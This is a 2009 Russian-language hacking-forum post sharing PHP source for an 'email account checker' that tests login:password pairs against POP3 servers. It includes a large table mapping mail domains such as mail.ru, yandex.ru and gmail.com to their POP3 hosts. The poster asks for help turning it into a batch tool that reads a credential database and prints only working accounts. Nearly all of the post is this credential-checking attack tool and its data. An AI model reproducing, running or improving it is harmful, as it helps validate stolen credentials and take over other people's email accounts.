Показать сообщение отдельно
Старый 21.12.2009, 19:52     # 1
capslock
Banned
 
Аватар для capslock
 
Регистрация: 20.12.2009
Сообщения: 1

capslock Ушлепок
Скрипт проверки соответствия пароля мылу

Вот сырец скрипта который проверяет соответствие пароля мылу...
Данные надо записывать в файл постоянно.
Я малость переделал и гетом засылаю в скрипт.
Но мне кажется это каменный век, да и скрипт тупит честно говоря.
Если кому не сложно не могли бы посмотреть переделать что бы класть базу рядом со скриптом и запускать его и получать в выводе только "ОК" мыла?
PHP код:
<?
/*
Emails Account Cheeker (через POP3)
Поддержимаемые домены в domains.txt
Coded by preda1or
*/
global $error,$err_more,$server_reply,$result;
set_time_limit(0);
error_reporting(0);

//так было....
//$login="vasia@mail.ru";
//$password="123456";

// а так Я сделал для передачи гетом
$login=$_GET['login'];
$password=$_GET['password'];


if(
mail_check($login,$password))
{
    global 
$result;
    echo 
$result;//если удачно
    
mail_check_log($result);    
} else {
    echo 
$result;//если неудачно
    
mail_check_log($result);    
}

function 
mail_check($login='',$password='')
{
    global 
$error,$err_more,$server_reply,$result;
    
$pattern "^([_a-z0-9-]+)(\.[_a-z0-9-]+)*@([a-z0-9-]+)(\.[a-z0-9-]+)*(\.[a-z]{2,4})$";
    if(
ereg($pattern,$login))
    {
        
$servername=pop3_get_servername($login);
        if(
pop3_server($servername))
        {
            
$login2=explode("@",$login);
            
$login2=$login2[0];
            if(
pop3_login($login,$password,$servername) or pop3_login($login2,$password,$servername))
            {
                
$result="OK";
                return 
true;
            } else {
                
$error="'pop3_login()' FAILED";
                
$result="FAIL: $error";
                
$server_reply=str_replace("\r\n","",$server_reply);
                if(
strlen($server_reply)>1) { $result.=", SERVER REPLY: '$server_reply'";}
                return 
false;
            }
        } else {
            
$error="'pop3_server()' FAILED";
            
$result="FAIL: $error";
            
$server_reply=str_replace("\r\n","",$server_reply);
            if(
strlen($server_reply)>1) { $result.=", SERVER REPLY: '$server_reply'";}
            return 
false;
        }

    } else {
        
$error="'ereg()' FAILED";
        
$result="FAIL: $error";
        
$server_reply=str_replace("\r\n","",$server_reply);
        if(
strlen($server_reply)>1) { $result.=", SERVER REPLY: '$server_reply'";}
        return 
false;    
    }

}

function 
mail_check_log($result='')
{
    global 
$login,$password;
    if(
strlen($result)>0)
    {
        
$result=str_replace("\n","",$result);
        
$result=str_replace("\r","",$result);
        
$f=fopen("mail.log","a");
        
fwrite($f,"[".date("m.d.y - H:i:s")."] [$login:$password] [$result]\n");
        
fclose($f);
    }
    return 
null;
}

function 
pop3_get_servername($email='')
{
    
$servers=file("pop_servers.dat");
    
$i=0;
    while(
$i<sizeof($servers))
    {
        
$current=explode(":",$servers[$i],2);
        
$email_expl=explode("@",$email,2);
        if(
$current[0]=="@".$email_expl[1])
        {
            
$current[1]=str_replace("\r","",$current[1]);
            
$current[1]=str_replace("\n","",$current[1]);
            return 
$current[1];
            
$i=sizeof($servers);
        }
        
$i++;
    }
}

function 
pop3_server($host='',$port='110',$timeout='60')
{
    global 
$err_more,$server_reply;
    
$s=fsockopen($host$port$errno$errstr$timeout);
    
$err_more="\$errno=$errno, \$errstr=$errstr";
    if(
$s)
    {
        
$line=fread($s256);
        if(
eregi("\+OK",$line))
        {
            
fputs($s,"QUIT\r\n");
            return 
true;
        } else {
            return 
false;
            
$server_reply=$line;
        }
        
fclose($s);
    } else {
        return 
false;
    }
}

function 
pop3_login($login='',$password='',$host='',$port='110',$timeout='60')
{
    global 
$err_more,$server_reply;
    
$s=fsockopen($host$port$errno$errstr$timeout);
    
$err_more="\$errno=$errno, \$errstr=$errstr";
    if(
$s)
    {
        
$line=fread($s256);
        if(
eregi("\+OK",$line))
        {
            
fputs($s,"USER $login\r\n");
            
$line=fread($s256);
            if(
eregi("\+OK",$line))
            {
                
fputs($s,"PASS $password\r\n");
                
$line=fread($s256);
                if(
eregi("\+OK",$line) and !eregi("\-ERR",$line))
                {
                    return 
true;
                    
fputs($s,"QUIT\r\n");
                } else {
                    
$server_reply=$line;
                    return 
false;
                }
            } else {
                
$server_reply=$line;
                return 
false;
            }
        } else {
            
$server_reply=$line;
            return 
false;
        }
        
fclose($s);
    } else {
         return 
false;
    }
}

?>
вот и недостающий файлик pop_servers.dat
PHP код:
@mail.ru:pop.mail.ru
@list.ru:pop.list.ru
@bk.ru:pop.bk.ru
@inbox.ru:pop.inbox.ru
@e-mail.ru:mail.e-mail.ru
@vipmail.ru:mail.vipmail.ru
@supermail.ru:mail.supermail.ru
@goldmail.ru:mail.goldmail.ru
@goldenmail.ru:mail.goldenmail.ru
@emails.ru:mail.emails.ru
@e-mails.ru:mail.e-mails.ru
@pochta.ru:mail.pochta.ru
@fromru.com:mail.pochta.ru
@front.ru:mail.pochta.ru
@hotbox.ru:mail.pochta.ru
@krovatka.net:mail.pochta.ru
@land.ru:mail.pochta.ru
@mail15.com:mail.pochta.ru
@mail333.com:mail.pochta.ru
@pisem.net:mail.pochta.ru
@pochtamt.ru:mail.pochta.ru
@pop3.ru:mail.pochta.ru
@rbcmail.ru:mail.pochta.ru
@smtp.ru:mail.pochta.ru
@yandex.ru:pop.yandex.ru
@narod.ru:pop.narod.ru
@rambler.ru:pop3.rambler.ru
@gmail.com:pop.gmail.com
@newmail.ru:pop.newmail.ru
@nm.ru:pop.newmail.ru
@hotmail.ru:pop.newmail.ru
@nightmail.ru:pop.newmail.ru
@algerie.cc:pop.gawab.com
@blida.info:pop.gawab.com
@mascara.ws:pop.gawab.com
@oran.cc:pop.gawab.com
@oued.info:pop.gawab.com
@oued.org:pop.gawab.com
@bahraini.cc:pop.gawab.com
@manama.cc:pop.gawab.com
@cameroon.cc:pop.gawab.com
@djibouti.cc:pop.gawab.com
@timor.cc:pop.gawab.com
@alex4all.com:pop.gawab.com
@alexandria.cc:pop.gawab.com
@aswan.cc:pop.gawab.com
@banha.cc:pop.gawab.com
@giza.cc:pop.gawab.com
@ismailia.cc:pop.gawab.com
@mansoura.tv:pop.gawab.com
@portsaid.cc:pop.gawab.com
@sharm.cc:pop.gawab.com
@sinai.cc:pop.gawab.com
@suez.cc:pop.gawab.com
@tanta.cc:pop.gawab.com
@zagazig.cc:pop.gawab.com
@eritrea.cc:pop.gawab.com
@guinea.cc:pop.gawab.com
@najaf.cc:pop.gawab.com
@amman.cc:pop.gawab.com
@aqaba.cc:pop.gawab.com
@irbid.ws:pop.gawab.com
@jerash.cc:pop.gawab.com
@karak.cc:pop.gawab.com
@urdun.cc:pop.gawab.com
@zarqa.cc:pop.gawab.com
@kuwaiti.tv:pop.gawab.com
@safat.biz:pop.gawab.com
@safat.info:pop.gawab.com
@safat.us:pop.gawab.com
@safat.ws:pop.gawab.com
@salmiya.biz:pop.gawab.com
@kyrgyzstan.cc:pop.gawab.com
@baalbeck.cc:pop.gawab.com
@hamra.cc:pop.gawab.com
@lebanese.cc:pop.gawab.com
@lubnan.cc:pop.gawab.com
@lubnan.ws:pop.gawab.com
@agadir.cc:pop.gawab.com
@jadida.cc:pop.gawab.com
@jadida.org:pop.gawab.com
@maghreb.cc:pop.gawab.com
@marrakesh.cc:pop.gawab.com
@meknes.cc:pop.gawab.com
@nador.cc:pop.gawab.com
@oujda.biz:pop.gawab.com
@oujda.cc:pop.gawab.com
@rabat.cc:pop.gawab.com
@tangiers.cc:pop.gawab.com
@tetouan.cc:pop.gawab.com
@dhofar.cc:pop.gawab.com
@gabes.cc:pop.gawab.com
@ibra.cc:pop.gawab.com
@muscat.tv:pop.gawab.com
@muscat.ws:pop.gawab.com
@omani.ws:pop.gawab.com
@salalah.cc:pop.gawab.com
@seeb.cc:pop.gawab.com
@pakistani.ws:pop.gawab.com
@falasteen.cc:pop.gawab.com
@hebron.tv:pop.gawab.com
@nablus.cc:pop.gawab.com
@quds.cc:pop.gawab.com
@rafah.cc:pop.gawab.com
@ramallah.cc:pop.gawab.com
@yunus.cc:pop.gawab.com
@abha.cc:pop.gawab.com
@ahsa.ws:pop.gawab.com
@albaha.cc:pop.gawab.com
@alriyadh.cc:pop.gawab.com
@arar.ws:pop.gawab.com
@buraydah.cc:pop.gawab.com
@dhahran.cc:pop.gawab.com
@jizan.cc:pop.gawab.com
@jouf.cc:pop.gawab.com
@khobar.cc:pop.gawab.com
@madinah.cc:pop.gawab.com
@qassem.cc:pop.gawab.com
@tabouk.cc:pop.gawab.com
@tayef.cc:pop.gawab.com
@yanbo.cc:pop.gawab.com
@dominican.cc:pop.gawab.com
@khartoum.cc:pop.gawab.com
@omdurman.cc:pop.gawab.com
@sudanese.cc:pop.gawab.com
@hasakah.com:pop.gawab.com
@homs.cc:pop.gawab.com
@latakia.cc:pop.gawab.com
@palmyra.cc:pop.gawab.com
@palmyra.ws:pop.gawab.com
@siria.cc:pop.gawab.com
@tajikistan.cc:pop.gawab.com
@bizerte.cc:pop.gawab.com
@gafsa.cc:pop.gawab.com
@kairouan.cc:pop.gawab.com
@nabeul.cc:pop.gawab.com
@nabeul.info:pop.gawab.com
@sfax.ws:pop.gawab.com
@sousse.cc:pop.gawab.com
@tunisian.cc:pop.gawab.com
@ajman.cc:pop.gawab.com
@ajman.us:pop.gawab.com
@ajman.ws:pop.gawab.com
@fujairah.cc:pop.gawab.com
@fujairah.us:pop.gawab.com
@fujairah.ws:pop.gawab.com
@khaimah.cc:pop.gawab.com
@sanaa.cc:pop.gawab.com
@yemeni.cc:pop.gawab.com
@zambia.cc:pop.gawab.com
@gawab.com:pop.gawab.com
@algerie.cc:pop.gawab.com
@bahraini.cc:pop.gawab.com
@cameroon.cc:pop.gawab.com
@djibouti.cc:pop.gawab.com
@dominican.cc:pop.gawab.com
@eritrea.cc:pop.gawab.com
@falasteen.cc:pop.gawab.com
@guinea.cc:pop.gawab.com
@kuwaiti.tv:pop.gawab.com
@kyrgyzstan.cc:pop.gawab.com
@lebanese.cc:pop.gawab.com
@lubnan.cc:pop.gawab.com
@lubnan.ws:pop.gawab.com
@maghreb.cc:pop.gawab.com
@omani.ws:pop.gawab.com
@pakistani.ws:pop.gawab.com
@siria.cc:pop.gawab.com
@sudanese.cc:pop.gawab.com
@tajikistan.cc:pop.gawab.com
@tunisian.cc:pop.gawab.com
@urdun.cc:pop.gawab.com
@yemeni.cc:pop.gawab.com
@zambia.cc:pop.gawab.com
@tut.by:mail.tut.by
@spam.lv:mail.spam.lv
@eclub.lv:mail.eclub.lv
@fit.lv:mail.fit.lv
@sok.lv:mail.sok.lv
@zabor.lv:mail.zabor.lv
@iphon.biz:mail.iphon.biz
@human.lv:mail.human.lv
@lv-inter.net:mail.lv-inter.net
@loveis.lv:mail.loveis.lv
@latchess.com:mail.latchess.com
@bmx.lv:mail.bmx.lv
@sexriga.lv:mail.sexriga.lv
@dino.lv:mail.dino.lv
@5005.lv:mail.5005.lv
@a.ua:pop3.a.org.ua
@a.org.ua:pop3.a.org.ua
@company.org.ua:pop3.a.org.ua
@uaix.info:pop3.a.org.ua
@ua.fm:ua.fm
@gala.net:mail.gala.net
@a.org.ua:pop3.mymail-in.net
@mymail-in.net:pop3.mymail-in.net
@mytop-in.net:pop3.mymail-in.net
@topping.com.ua:pop3.mymail-in.net
@peugeot-club.org:pop3.mymail-in.net
@uaix.info:pop3.mymail-in.net
@woman.in.ua:pop3.mymail-in.net
@xsecurity.org:pop3.mymail-in.net
@e1.ru:mail.e1.ru
@HotPOP.com:pop.hotpop.com
@PunkAss.com:pop.PunkAss.com
@SexMagnet.com:pop.SexMagnet.com
@BonBon.net:pop.BonBon.net
@ToughGuy.net:pop.ToughGuy.net
@Phreaker.net:pop.Phreaker.net
@GameBox.net:pop.GameBox.net
@meta.ua:webmail.meta.ua
@bigmir.net:pop.bigmir.net
@itua.info:pop3.itua.info
@inet.ua:mail.inet.ua
@fm.com.ua:mail.inet.ua
@freemail.com.ua:mail.inet.ua
@gmail.ru:mail.gmail.ru
@dinamomail.ru:mail.dinamomail.ru
@hrono.ru:mail.hrono.ru
@icqfoto.ru:mail.icqfoto.ru
@kievmail.ru:mail.kievmail.ru
@lmail.ru:mail.lmail.ru
@mirabilis.ru:mail.mirabilis.ru
@radiomail.ru:mail.radiomail.ru
@refer.ru:mail.refer.ru
@spartakmail.ru:mail.spartakmail.ru
@tvmail.ru:mail.tvmail.ru
@wmail.ru:mail.wmail.ru
@womenmail.ru:mail.womenmail.ru
@elitemail.ru:mail.elitemail.ru 
мне кажется что в скрипте что то сильно наворочено и заморочено...
не может коннект и отклик так долго идти...
если сделаете, не сочтите за труд стукнуть
ася 183917
capslock вне форума